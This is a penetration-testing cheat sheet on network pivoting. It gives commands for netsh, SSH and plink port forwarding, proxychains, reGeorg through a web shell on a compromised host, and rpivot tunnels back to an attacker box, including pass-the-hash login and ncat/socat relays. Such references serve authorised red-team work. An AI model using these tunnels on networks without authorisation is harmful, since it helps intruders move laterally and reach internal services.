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143 lines
4.9 KiB
Markdown
143 lines
4.9 KiB
Markdown
# Network Pivoting Techniques
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## Windows netsh Port Forwarding
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```powershell
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netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
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netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110
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```
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1. listenaddress – is a local IP address waiting for a connection.
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2. listenport – local listening TCP port (the connection is waited on it).
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3. connectaddress – is a local or remote IP address (or DNS name) to which the incoming connection will be redirected.
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4. connectport – is a TCP port to which the connection from listenport is forwarded to.
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## SSH
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### SOCKS Proxy
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```bash
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ssh -D8080 [user]@[host]
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ssh -N -f -D 9000 [user]@[host]
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-f : ssh in background
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-N : do not execute a remote command
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```
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Cool Tip : Konami SSH Port forwarding
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```bash
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[ENTER] + [~C]
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-D 1090
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```
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### Local Port Forwarding
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```bash
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ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]
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```
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### Remote Port Forwarding
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```bash
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ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]
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```
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## Proxychains
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**Config file**: /etc/proxychains.conf
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```bash
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[ProxyList]
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socks4 localhost 8080
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```
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Set the SOCKS4 proxy then `proxychains nmap -sT 192.168.5.6`
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## Web SOCKS - reGeorg
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[reGeorg](https://github.com/sensepost/reGeorg), the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.
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```python
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python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp
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```
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## Rpivot
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Server (Attacker box)
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```python
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python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0
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```
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Client (Compromised box)
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```python
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python client.py --server-ip <ip> --server-port 9443
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```
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Through corporate proxy
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```python
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python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
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--ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3e
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```
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Passing the hash
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```python
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python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
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--ntlm-proxy-port 8080 --domain CORP --username jdoe \
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--hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE
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```
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## plink
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```powershell
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plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389 --> exposes the RDP port of the machine in the port 3390 of the SSH Server
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plink -l root -pw mypassword 192.168.18.84 -R
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plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your local machine] [VPS IP]
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```
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## Basic Pivoting Types
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| Type | Use Case |
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| :------------- | :------------------------------------------ |
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| Listen - Listen | Exposed asset, may not want to connect out. |
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| Listen - Connect | Normal redirect. |
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| Connect - Connect | Can’t bind, so connect to bridge two hosts |
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## Listen - Listen
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| Type | Use Case |
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| :------------- | :------------------------------------------ |
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| ncat | `ncat -v -l -p 8080 -c "ncat -v -l -p 9090"`|
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| socat | `socat -v tcp-listen:8080 tcp-listen:9090` |
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| remote host 1 | `ncat localhost 8080 < file` |
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| remote host 2 | `ncat localhost 9090 > newfile` |
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## Listen - Connect
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| Type | Use Case |
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| :------------- | :------------------------------------------ |
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| ncat | `ncat -l -v -p 8080 -c "ncat localhost 9090"` |
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| socat | `socat -v tcp-listen:8080,reuseaddr tcp-connect:localhost:9090` |
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| remote host 1 | `ncat localhost -p 8080 < file` |
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| remote host 2 | `ncat -l -p 9090 > newfile` |
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## Connect - Connect
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| Type | Use Case |
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| :------------- | :------------------------------------------ |
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| ncat | `ncat localhost 8080 -c "ncat localhost 9090"` |
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| socat | `socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090` |
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| remote host 1 | `ncat -l -p 8080 < file |
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| remote host 2 | `ncat -l -p 9090 > newfile` |
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## Thanks to
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* [Network Pivoting Techniques - Bit rot](https://bitrot.sh/cheatsheet/14-12-2017-pivoting/)
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* [Port Forwarding in Windows - Windows OS Hub](http://woshub.com/port-forwarding-in-windows/)
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* [Using the SSH "Konami Code" (SSH Control Sequences) - Jeff McJunkin](https://pen-testing.sans.org/blog/2015/11/10/protected-using-the-ssh-konami-code-ssh-control-sequences)
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* [A Red Teamer's guide to pivoting- Mar 23, 2017 - Artem Kondratenko](https://artkond.com/2017/03/23/pivoting-guide/) |